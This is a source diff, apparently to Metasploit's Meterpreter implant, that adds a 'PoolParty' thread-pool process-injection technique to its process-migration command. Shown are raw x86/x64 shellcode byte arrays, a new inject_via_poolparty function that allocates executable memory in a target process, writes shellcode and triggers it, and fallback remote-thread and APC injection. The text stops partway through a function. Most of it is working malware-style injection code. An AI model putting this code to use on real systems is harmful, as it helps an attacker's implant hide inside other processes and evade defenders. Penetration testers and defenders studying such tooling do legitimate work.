diff --git a/.gitignore b/.gitignore index 2dda3af04..e063408cc 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,4 @@ *.suo .vs *.user +.vscode diff --git a/c/meterpreter/source/metsrv/base_dispatch.c b/c/meterpreter/source/metsrv/base_dispatch.c index 7a5328368..3e022c4fb 100644 --- a/c/meterpreter/source/metsrv/base_dispatch.c +++ b/c/meterpreter/source/metsrv/base_dispatch.c @@ -539,7 +539,9 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul MetsrvConfig* config = NULL; DWORD configSize = 0; - + + BOOL bPoolParty = FALSE; + DWORD dwProcessAccess; do { response = packet_create_response(packet); @@ -568,7 +570,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s", dwProcessID, dwDestinationArch == 2 ? "x64" : "x86"); dprintf("[MIGRATE] Attempting to migrate. PayloadLength=%d StubLength=%d", dwPayloadLength, dwMigrateStubLength); - // If we can, get SeDebugPrivilege... + bPoolParty = supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch); + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; @@ -587,8 +590,11 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul CloseHandle(hToken); } - // Open the process so that we can migrate into it - hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); + dwProcessAccess = PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ; + dwProcessAccess |= PROCESS_CREATE_THREAD; + + hProcess = OpenProcess(dwProcessAccess, FALSE, dwProcessID); + if (!hProcess) { BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") @@ -630,6 +636,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent); + // Allocate memory for the migrate stub, context, payload and configuration block lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) @@ -639,7 +646,6 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul // Calculate the address of the payload... ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize; - // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) @@ -670,20 +676,29 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul free(ctx); - // First we try to migrate by directly creating a remote thread in the target process - if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) - { - dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); - - // If that fails we can try to migrate via a queued APC in the target process - if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) - { - BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); + if (bPoolParty) { + dwResult = inject_via_poolparty(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS; + if (dwResult != ERROR_SUCCESS){ + // If we fail injecting with poolparty, we reset the dwResult and set the bPoolParty to FALSE to make the next if-clause true. + bPoolParty = FALSE; + dwResult = ERROR_SUCCESS; + dprintf("[MIGRATE] inject_via_poolparty failed, proceeding with legacy injection."); } } - dwResult = ERROR_SUCCESS; + if (!bPoolParty) { + // First we try to migrate by directly creating a remote thread in the target process + if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) + { + dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); + // If that fails we can try to migrate via a queued APC in the target process + if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) + { + BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); + } + } + } } while (0); SAFE_FREE(config); diff --git a/c/meterpreter/source/metsrv/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c index 46eda6471..35af49c96 100644 --- a/c/meterpreter/source/metsrv/base_inject.c +++ b/c/meterpreter/source/metsrv/base_inject.c @@ -1,80 +1,101 @@ #include "metsrv.h" #include "base_inject.h" #include "remote_thread.h" +#include "pool_party.h" #include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" #include // see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' // 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484 // found and fixed by ReWolf, incorporated by RaMMicHaeL -BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" - "\x58\x83\xC0\x2B\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" - "\x89\x02\xE8\x0F\x00\x00\x00\x66\x8C\xD8\x66\x8E\xD0\x83\xC4\x14" - "\x5F\x5E\x5D\xC2\x08\x00\x8B\x3C\xE4\xFF\x2A\x48\x31\xC0\x57\xFF" - "\xD6\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C" - "\x24"; +BYTE migrate_executex64[] = {0x55,0x89,0xE5,0x56,0x57,0x8B,0x75,0x08,0x8B,0x4D,0x0C,0xE8,0x00,0x00,0x00,0x00 + ,0x58,0x83,0xC0,0x2B,0x83,0xEC,0x08,0x89,0xE2,0xC7,0x42,0x04,0x33,0x00,0x00,0x00 + ,0x89,0x02,0xE8,0x0F,0x00,0x00,0x00,0x66,0x8C,0xD8,0x66,0x8E,0xD0,0x83,0xC4,0x14 + ,0x5F,0x5E,0x5D,0xC2,0x08,0x00,0x8B,0x3C,0xE4,0xFF,0x2A,0x48,0x31,0xC0,0x57,0xFF + ,0xD6,0x5F,0x50,0xC7,0x44,0x24,0x04,0x23,0x00,0x00,0x00,0x89,0x3C,0x24,0xFF,0x2C + ,0x24}; // see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm' -BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" - "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" - "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" - "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" - "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" - "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" - "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" - "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" - "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" - "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" - "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" - "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" - "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" - "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" - "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" - "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" - "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" - "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" - "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; +BYTE migrate_wownativex[] = {0xFC,0x48,0x89,0xCE,0x48,0x89,0xE7,0x48,0x83,0xE4,0xF0,0xE8,0xC8,0x00,0x00,0x00 + ,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48 + ,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A + ,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9 + ,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C + ,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0x72,0x8B,0x80,0x88,0x00,0x00 + ,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40 + ,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6 + ,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0x38,0xE0 + ,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40 + ,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0 + ,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58 + ,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A + ,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF,0x5D,0x4D,0x31,0xC9,0x41,0x51,0x48,0x8D + ,0x46,0x18,0x50,0xFF,0x76,0x10,0xFF,0x76,0x08,0x41,0x51,0x41,0x51,0x49,0xB8,0x01 + ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x31,0xD2,0x48,0x8B,0x0E,0x41,0xBA,0xC8 + ,0x38,0xA4,0x40,0xFF,0xD5,0x48,0x85,0xC0,0x74,0x0C,0x48,0xB8,0x00,0x00,0x00,0x00 + ,0x00,0x00,0x00,0x00,0xEB,0x0A,0x48,0xB8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + ,0x48,0x83,0xC4,0x50,0x48,0x89,0xFC,0xC3}; // see '/msf3/external/source/shellcode/x86/migrate/apc.asm' -BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5" - "\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F" - "\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF" - "\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B" - "\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01" - "\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF" - "\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58" - "\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04" - "\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58" - "\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10" - "\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B" - "\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00" - "\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51" - "\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00"; +BYTE apc_stub_x86[] = {0xFC,0x8B,0x74,0x24,0x04,0x55,0x89,0xE5,0xE8,0x89,0x00,0x00,0x00,0x60,0x89,0xE5 + ,0x31,0xD2,0x64,0x8B,0x52,0x30,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,0x72,0x28,0x0F + ,0xB7,0x4A,0x26,0x31,0xFF,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0xC1,0xCF + ,0x0D,0x01,0xC7,0xE2,0xF0,0x52,0x57,0x8B,0x52,0x10,0x8B,0x42,0x3C,0x01,0xD0,0x8B + ,0x40,0x78,0x85,0xC0,0x74,0x4A,0x01,0xD0,0x50,0x8B,0x48,0x18,0x8B,0x58,0x20,0x01 + ,0xD3,0xE3,0x3C,0x49,0x8B,0x34,0x8B,0x01,0xD6,0x31,0xFF,0x31,0xC0,0xAC,0xC1,0xCF + ,0x0D,0x01,0xC7,0x38,0xE0,0x75,0xF4,0x03,0x7D,0xF8,0x3B,0x7D,0x24,0x75,0xE2,0x58 + ,0x8B,0x58,0x24,0x01,0xD3,0x66,0x8B,0x0C,0x4B,0x8B,0x58,0x1C,0x01,0xD3,0x8B,0x04 + ,0x8B,0x01,0xD0,0x89,0x44,0x24,0x24,0x5B,0x5B,0x61,0x59,0x5A,0x51,0xFF,0xE0,0x58 + ,0x5F,0x5A,0x8B,0x12,0xEB,0x86,0x5B,0x80,0x7E,0x10,0x00,0x75,0x3B,0xC6,0x46,0x10 + ,0x01,0x68,0xA6,0x95,0xBD,0x9D,0xFF,0xD3,0x3C,0x06,0x7C,0x1A,0x31,0xC9,0x64,0x8B + ,0x41,0x18,0x39,0x88,0xA8,0x01,0x00,0x00,0x75,0x0C,0x8D,0x93,0xCF,0x00,0x00,0x00 + ,0x89,0x90,0xA8,0x01,0x00,0x00,0x31,0xC9,0x51,0x51,0xFF,0x76,0x08,0xFF,0x36,0x51 + ,0x51,0x68,0x38,0x68,0x0D,0x16,0xFF,0xD3,0xC9,0xC2,0x0C,0x00,0x00,0x00,0x00,0x00 + ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + ,0x00,0x00,0x00,0x00}; // see '/msf3/external/source/shellcode/x64/migrate/apc.asm' -BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48" - "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48" - "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48" - "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C" - "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41" - "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B" - "\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01" - "\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF" - "\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41" - "\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45" - "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C" - "\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41" - "\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20" - "\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF" - "\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00" - "\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00" - "\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41" - "\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00"; +BYTE apc_stub_x64[] = {0xFC,0x80,0x79,0x10,0x00,0x0F,0x85,0x13,0x01,0x00,0x00,0xC6,0x41,0x10,0x01,0x48 + ,0x83,0xEC,0x78,0xE8,0xC8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48 + ,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48 + ,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C + ,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41 + ,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B + ,0x02,0x75,0x72,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01 + ,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF + ,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41 + ,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45 + ,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C + ,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41 + ,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20 + ,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF + ,0x5D,0x48,0x31,0xD2,0x65,0x48,0x8B,0x42,0x30,0x48,0x39,0x90,0xC8,0x02,0x00,0x00 + ,0x75,0x0E,0x48,0x8D,0x95,0x07,0x01,0x00,0x00,0x48,0x89,0x90,0xC8,0x02,0x00,0x00 + ,0x4C,0x8B,0x01,0x4C,0x8B,0x49,0x08,0x48,0x31,0xC9,0x48,0x31,0xD2,0x51,0x51,0x41 + ,0xBA,0x38,0x68,0x0D,0x16,0xFF,0xD5,0x48,0x81,0xC4,0xA8,0x00,0x00,0x00,0xC3,0x00 + ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + ,0x00,0x00,0x00}; + +// see '/msf3/external/source/shellcode/x64/migrate/poolparty.asm' +BYTE poolparty_stub_x64[] = {0xFC,0x55,0x57,0x56,0x48,0x89,0xE7,0xE9,0x01,0x01,0x00,0x00,0x5E,0x48,0x83,0xEC + ,0x78,0xE8,0xC8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2 + ,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72 + ,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C + ,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48 + ,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B,0x02,0x75 + ,0x72,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50 + ,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41 + ,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC9 + ,0x0D,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1 + ,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44 + ,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41 + ,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52 + ,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF,0x5D,0x8B + ,0x4E,0x10,0x48,0x31,0xD2,0xFF,0xCA,0x41,0xBA,0x08,0x87,0x1D,0x60,0xFF,0xD5,0x48 + ,0x31,0xD2,0x4C,0x8B,0x06,0x4C,0x8B,0x4E,0x08,0x48,0x31,0xC9,0x51,0x51,0x41,0xBA + ,0x38,0x68,0x0D,0x16,0xFF,0xD5,0x48,0x89,0xFC,0x5E,0x5F,0x5D,0xC3,0xE8,0xFA,0xFE + ,0xFF,0xFF}; /* * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread @@ -481,6 +502,106 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces return dwResult; } +DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) { + DWORD dwResult = ERROR_SUCCESS; + DWORD dwTechnique = MIGRATE_TECHNIQUE_POOLPARTY; + HANDLE hThread = NULL; + LPVOID lpPoolPartyStub; + POOLPARTYCONTEXT ctx = { 0 }; + ctx.s.lpStartAddress = lpStartAddress; + ctx.p.lpParameter = lpParameter; + HANDLE hTriggerEvent = INVALID_HANDLE_VALUE; + HANDLE hRemoteTriggerEvent = INVALID_HANDLE_VALUE; + + LPVOID lpStub = NULL; + DWORD dwStubSize = 0; + HANDLE hHeap = GetProcessHeap(); + + + if (!supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch)) { + return ERROR_INVALID_FUNCTION; + } + + POOLPARTY_INJECTOR *poolparty = GetOrInitPoolParty(dwMeterpreterArch, dwDestinationArch); + + do + { + + if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X64 || dwMeterpreterArch == PROCESS_ARCH_X86)) { + dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x64"); + lpStub = &poolparty_stub_x64; + dwStubSize = sizeof(poolparty_stub_x64); + } + else { + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on this target (yet)!", ERROR_INVALID_FUNCTION); + } + + hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if (!hTriggerEvent) + { + BREAK_ON_ERROR("[INJECT][inject_via_poolparty] CreateEvent failed"); + } + + // Duplicate the event handle for the target process + if (!DuplicateHandle(GetCurrentProcess(), hTriggerEvent, hProcess, &ctx.e.hTriggerEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) + { + BREAK_ON_ERROR("[INJECT][inject_via_poolparty] DuplicateHandle failed"); + } + + lpPoolPartyStub = VirtualAllocEx(hProcess, NULL, dwStubSize + sizeof(POOLPARTYCONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + dprintf("[INJECT][inject_via_poolparty] ctx [%p] lpStartAddress: %p lpParameter %p hTriggerEvent %p", (LPBYTE) lpPoolPartyStub + dwStubSize, ctx.s.lpStartAddress, ctx.p.lpParameter, ctx.e.hTriggerEvent); + if (!lpPoolPartyStub) { + BREAK_ON_ERROR("[INJECT][inject_via_poolparty] VirtualAllocEx failed!"); + } + + if (!WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) { + BREAK_ON_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!"); + } + + if (!WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) { + BREAK_ON_ERROR("[INJECT][inject_via_poolparty] Cannot write poolparty shellcode prologue!"); + } + + for (UINT8 variant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; variant < POOLPARTY_TECHNIQUE_COUNT; variant++) { + if (poolparty->variants[variant].isInjectionSupported) { +#ifdef DEBUGTRACE + char* VARIANT_POS_TO_STR[POOLPARTY_TECHNIQUE_COUNT] = { + "POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION", + }; + dprintf("[INJECT][inject_via_poolparty] Attempting injection with variant %s", VARIANT_POS_TO_STR[variant]); +#endif + dwResult = poolparty->variants[variant].handler(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent); + if (dwResult == ERROR_SUCCESS) { + dprintf("[INJECT] inject_via_poolparty: injected!"); + break; + } + } + } + if (dwResult != ERROR_SUCCESS) { + BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: none of the supported variant worked.", ERROR_INVALID_FUNCTION) + } + + if (remote && response) + { + dprintf("[INJECT] inject_via_poolparty: Sending a migrate response..."); + // Send a successful response to let the ruby side know that we've pretty + // much successfully migrated and have reached the point of no return + packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique); + packet_transmit_response(ERROR_SUCCESS, remote, response); + + dprintf("[INJECT] inject_via_poolparty: Sleeping for two seconds..."); + // Sleep to give the remote side a chance to catch up... + Sleep(2000); + + } + SetEvent(hTriggerEvent); + SetLastError(dwResult); + CloseHandle(hTriggerEvent); + + } while (0); + return dwResult; +} + /* * Inject a DLL image into a process via Reflective DLL Injection. * @@ -505,32 +626,34 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces * copied into the target process. If this value is zero, then the value of lpArg is passed directly to the * target and must be set to a valid address within the target process. */ -DWORD inject_dll( DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize ) + + +DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize) { - DWORD dwResult = ERROR_ACCESS_DENIED; - LPVOID lpRemoteArg = NULL; - HANDLE hProcess = NULL; - LPVOID lpRemoteLibraryBuffer = NULL; - LPVOID lpReflectiveLoader = NULL; + DWORD dwResult = ERROR_ACCESS_DENIED; + LPVOID lpRemoteArg = NULL; + HANDLE hProcess = NULL; + LPVOID lpRemoteLibraryBuffer = NULL; + LPVOID lpReflectiveLoader = NULL; DWORD dwReflectiveLoaderOffset = 0; - + BOOL bPoolParty = supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch); do { - if( !lpDllBuffer || !dwDllLength ) - BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER ); + if (!lpDllBuffer || !dwDllLength) + BREAK_WITH_ERROR("[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER); if (dwDestinationArch == PROCESS_ARCH_UNKNOWN) dwDestinationArch = dwMeterpreterArch; // check if the library has a ReflectiveLoader... - dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( 